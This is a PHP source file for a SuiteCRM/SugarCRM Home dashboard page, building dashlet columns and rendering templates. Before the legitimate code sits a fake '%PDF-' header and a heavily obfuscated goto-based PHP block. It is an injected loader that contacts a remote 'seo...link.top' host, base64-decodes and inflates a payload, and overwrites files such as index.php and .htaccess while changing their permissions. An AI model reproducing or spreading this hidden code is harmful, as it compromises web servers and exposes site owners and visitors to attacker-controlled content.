%PDF- %PDF- $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
buildCache();
}
require_once $cachefile;
require('modules/Home/dashlets.php');
$pages = $current_user->getPreference('pages', 'Home');
$dashlets = $current_user->getPreference('dashlets', 'Home');
$defaultHomepage = false;
// BEGIN fill in with default homepage and dashlet selections
$hasUserPreferences = (!isset($pages) || empty($pages) || !isset($dashlets) || empty($dashlets)) ? false : true;
if (!$hasUserPreferences) {
$dashlets = array();
//list of preferences to move over and to where
$prefstomove = array(
'mypbss_date_start' => 'MyPipelineBySalesStageDashlet',
'mypbss_date_end' => 'MyPipelineBySalesStageDashlet',
'mypbss_sales_stages' => 'MyPipelineBySalesStageDashlet',
'mypbss_chart_type' => 'MyPipelineBySalesStageDashlet',
'lsbo_lead_sources' => 'OpportunitiesByLeadSourceByOutcomeDashlet',
'lsbo_ids' => 'OpportunitiesByLeadSourceByOutcomeDashlet',
'pbls_lead_sources' => 'OpportunitiesByLeadSourceDashlet',
'pbls_ids' => 'OpportunitiesByLeadSourceDashlet',
'pbss_date_start' => 'PipelineBySalesStageDashlet',
'pbss_date_end' => 'PipelineBySalesStageDashlet',
'pbss_sales_stages' => 'PipelineBySalesStageDashlet',
'pbss_chart_type' => 'PipelineBySalesStageDashlet',
'obm_date_start' => 'OutcomeByMonthDashlet',
'obm_date_end' => 'OutcomeByMonthDashlet',
'obm_ids' => 'OutcomeByMonthDashlet');
//upgrading from pre-5.0 homepage
$old_columns = $current_user->getPreference('columns', 'home');
$old_dashlets = $current_user->getPreference('dashlets', 'home');
if (isset($old_columns) && !empty($old_columns) && isset($old_dashlets) && !empty($old_dashlets)) {
$columns = $old_columns;
$dashlets = $old_dashlets;
// resetting old columns and dashlets to have no preference and data
$old_columns = array();
$old_dashlets = array();
$current_user->setPreference('columns', $old_columns, 0, 'home');
$current_user->setPreference('dashlets', $old_dashlets, 0, 'home');
} else {
// This is here to get Sugar dashlets added above the rest
$dashlets[create_guid()] = array('className' => 'SugarFeedDashlet',
'module' => 'SugarFeed',
'forceColumn' => 1,
'fileLocation' => $dashletsFiles['SugarFeedDashlet']['file'],
);
foreach ($defaultDashlets as $dashletName=>$module) {
// clint - fixes bug #20398
// only display dashlets that are from visibile modules and that the user has permission to list
$myDashlet = new MySugar($module);
$displayDashlet = $myDashlet->checkDashletDisplay();
if (isset($dashletsFiles[$dashletName]) && $displayDashlet) {
$options = array();
$prefsforthisdashlet = array_keys($prefstomove, $dashletName);
foreach ($prefsforthisdashlet as $pref) {
$options[$pref] = $current_user->getPreference($pref);
}
$dashlets[create_guid()] = array('className' => $dashletName,
'module' => $module,
'forceColumn' => 0,
'fileLocation' => $dashletsFiles[$dashletName]['file'],
'options' => $options);
}
}
$count = 0;
$columns = array();
$columns[0] = array();
$columns[0]['width'] = '60%';
$columns[0]['dashlets'] = array();
$columns[1] = array();
$columns[1]['width'] = '40%';
$columns[1]['dashlets'] = array();
foreach ($dashlets as $guid=>$dashlet) {
if ($dashlet['forceColumn'] == 0) {
array_push($columns[0]['dashlets'], $guid);
} else {
array_push($columns[1]['dashlets'], $guid);
}
$count++;
}
}
$current_user->setPreference('dashlets', $dashlets, 0, 'Home');
}
// handles upgrading from versions that had the 'Dashboard' module; move those items over to the Home page
$pagesDashboard = $current_user->getPreference('pages', 'Dashboard');
$dashletsDashboard = $current_user->getPreference('dashlets', 'Dashboard');
if (!empty($pagesDashboard)) {
// move dashlets from the dashboard to be at the end of the home screen dashlets
foreach ($pagesDashboard[0]['columns'] as $dashboardColumnKey => $dashboardColumn) {
foreach ($dashboardColumn['dashlets'] as $dashletItem) {
$pages[0]['columns'][$dashboardColumnKey]['dashlets'][] = $dashletItem;
}
}
$pages = array_merge($pages, $pagesDashboard);
$current_user->setPreference('pages', $pages, 0, 'Home');
}
if (!empty($dashletsDashboard)) {
$dashlets = array_merge($dashlets, $dashletsDashboard);
$current_user->setPreference('dashlets', $dashlets, 0, 'Home');
}
if (!empty($pagesDashboard) || !empty($dashletsDashboard)) {
$current_user->resetPreferences('Dashboard');
}
if (empty($pages)) {
$pages = array();
$pageIndex = 0;
$pages[0]['columns'] = $columns;
$pages[0]['numColumns'] = '3';
$pages[0]['pageTitleLabel'] = 'LBL_HOME_PAGE_1_NAME'; // "My Sugar"
$pageIndex++;
$current_user->setPreference('pages', $pages, 0, 'Home');
$activePage = 0;
}
$sugar_smarty = new Sugar_Smarty();
$activePage = 0;
$divPages[] = $activePage;
$numCols = $pages[$activePage]['numColumns'];
$count = 0;
$dashletIds = array(); // collect ids to pass to javascript
$display = array();
foreach ($pages[$activePage]['columns'] as $colNum => $column) {
if ($colNum == $numCols) {
break;
}
$display[$colNum]['width'] = $column['width'];
$display[$colNum]['dashlets'] = array();
foreach ($column['dashlets'] as $num => $id) {
// clint - fixes bug #20398
// only display dashlets that are from visibile modules and that the user has permission to list
if (!empty($id) && isset($dashlets[$id]) && is_file($dashlets[$id]['fileLocation'])) {
$module = 'Home';
if (!empty($dashletsFiles[$dashlets[$id]['className']]['module'])) {
$module = $dashletsFiles[$dashlets[$id]['className']]['module'];
}
// Bug 24772 - Look into the user preference for the module the dashlet is a part of in case
// of the Report Chart dashlets.
elseif (!empty($dashlets[$id]['module'])) {
$module = $dashlets[$id]['module'];
}
$myDashlet = new MySugar($module);
if ($myDashlet->checkDashletDisplay()) {
require_once($dashlets[$id]['fileLocation']);
$dashlet = new $dashlets[$id]['className']($id, (isset($dashlets[$id]['options']) ? $dashlets[$id]['options'] : array()));
// Need to add support to dynamically display/hide dashlets
// If it has a method 'shouldDisplay' we will call it to see if we should display it or not
if (method_exists($dashlet, 'shouldDisplay')) {
if (!$dashlet->shouldDisplay()) {
// This dashlet doesn't want us to show it, skip it.
continue;
}
}
array_push($dashletIds, $id);
$dashlets = $current_user->getPreference('dashlets', 'Home'); // Using hardcoded 'Home' because DynamicAction.php $_REQUEST['module'] value is always Home
$lvsParams = array();
if (!empty($dashlets[$id]['sort_options'])) {
$lvsParams = $dashlets[$id]['sort_options'];
}
$dashlet->process($lvsParams);
try {
$display[$colNum]['dashlets'][$id]['display'] = $dashlet->display();
$display[$colNum]['dashlets'][$id]['displayHeader'] = $dashlet->getHeader();
$display[$colNum]['dashlets'][$id]['displayFooter'] = $dashlet->getFooter();
if ($dashlet->hasScript) {
$display[$colNum]['dashlets'][$id]['script'] = $dashlet->displayScript();
}
} catch (Exception $ex) {
$display[$colNum]['dashlets'][$id]['display'] = $ex->getMessage();
$display[$colNum]['dashlets'][$id]['displayHeader'] = $dashlet->getHeader();
$display[$colNum]['dashlets'][$id]['displayFooter'] = $dashlet->getFooter();
}
}
}
}
}
$i = 0;
while ($i < count($pages)) {
if ($i == 0) {
$pageTabs[$i]['pageTitle'] = $GLOBALS['app_strings']['LBL_SUITE_DASHBOARD'];
// $pageTabs[$i]['active'] = 'current';
} else {
$pageTabs[$i]['pageTitle'] = $pages[$i]['pageTitle'];
$divPages[] = $i;
}
$i++;
}
if (!empty($sugar_config['lock_homepage']) && $sugar_config['lock_homepage'] == true) {
$sugar_smarty->assign('lock_homepage', true);
}
$dashboardActions = $GLOBALS['app_strings']['LBL_SUITE_DASHBOARD_ACTIONS'];
$sugar_smarty->assign('sugarVersion', $sugar_version);
$sugar_smarty->assign('sugarFlavor', $sugar_flavor);
$sugar_smarty->assign('currentLanguage', $GLOBALS['current_language']);
$sugar_smarty->assign('serverUniqueKey', $GLOBALS['server_unique_key']);
$sugar_smarty->assign('imagePath', $GLOBALS['image_path']);
$sugar_smarty->assign('maxCount', empty($sugar_config['max_dashlets_homepage']) ? 15 : $sugar_config['max_dashlets_homepage']);
$sugar_smarty->assign('dashletCount', $count);
$sugar_smarty->assign('dashletIds', '["' . implode('","', $dashletIds) . '"]');
$sugar_smarty->assign('columns', $display);
global $theme;
$sugar_smarty->assign('theme', $theme);
$sugar_smarty->assign('divPages', $divPages);
$sugar_smarty->assign('activePage', $activePage);
$sugar_smarty->assign('dashboardPages', $pageTabs);
$sugar_smarty->assign('dashboardActions', $dashboardActions);
$sugar_smarty->assign('current_user', $current_user->id);
$sugar_smarty->assign('lblAdd', $GLOBALS['app_strings']['LBL_ADD_BUTTON']);
$sugar_smarty->assign('lblAddTab', $GLOBALS['app_strings']['LBL_ADD_TAB']);
$sugar_smarty->assign('lblAddDashlets', $GLOBALS['app_strings']['LBL_ADD_DASHLETS']);
$sugar_smarty->assign('lblLnkHelp', $GLOBALS['app_strings']['LNK_HELP']);
$sugar_smarty->assign('mod', return_module_language($GLOBALS['current_language'], 'Home'));
$sugar_smarty->assign('app', $GLOBALS['app_strings']);
$sugar_smarty->assign('module', 'Home');
//custom chart code
//Get the RGraph libraries (add this more elegantly later to check exactly what is needed, not just all).
require_once('include/SuiteGraphs/RGraphIncludes.php');
require_once('include/SugarCharts/SugarChartFactory.php');
$sugarChart = SugarChartFactory::getInstance();
$resources = $sugarChart->getChartResources();
$mySugarResources = $sugarChart->getMySugarChartResources();
$sugar_smarty->assign('chartResources', $resources);
$sugar_smarty->assign('mySugarChartResources', $mySugarResources);
if (file_exists("custom/themes/" . $theme ."/tpls/MySugar.tpl")) {
echo $sugar_smarty->fetch('custom/themes/' . $theme . '/tpls/MySugar.tpl');
} elseif (file_exists('custom/include/MySugar/tpls/MySugar.tpl')) {
echo $sugar_smarty->fetch('custom/include/MySugar/tpls/MySugar.tpl');
} elseif (file_exists("themes/" . $theme ."/tpls/MySugar.tpl")) {
echo $sugar_smarty->fetch("themes/" . $theme ."/tpls/MySugar.tpl");
} elseif (file_exists('include/MySugar/tpls/MySugar.tpl')) {
echo $sugar_smarty->fetch('include/MySugar/tpls/MySugar.tpl');
} elseif (file_exists("custom/themes/" . $theme .'include/MySugar/tpls/MySugar.tpl')) {
echo $sugar_smarty->fetch('custom/themes/' . $theme . 'include/MySugar/tpls/MySugar.tpl');
} else {
$GLOBALS['log']->fatal('MySugar.tpl not found');
}
//init the quickEdit listeners after the dashlets have loaded on home page the first time
echo"";
echo"";
echo"";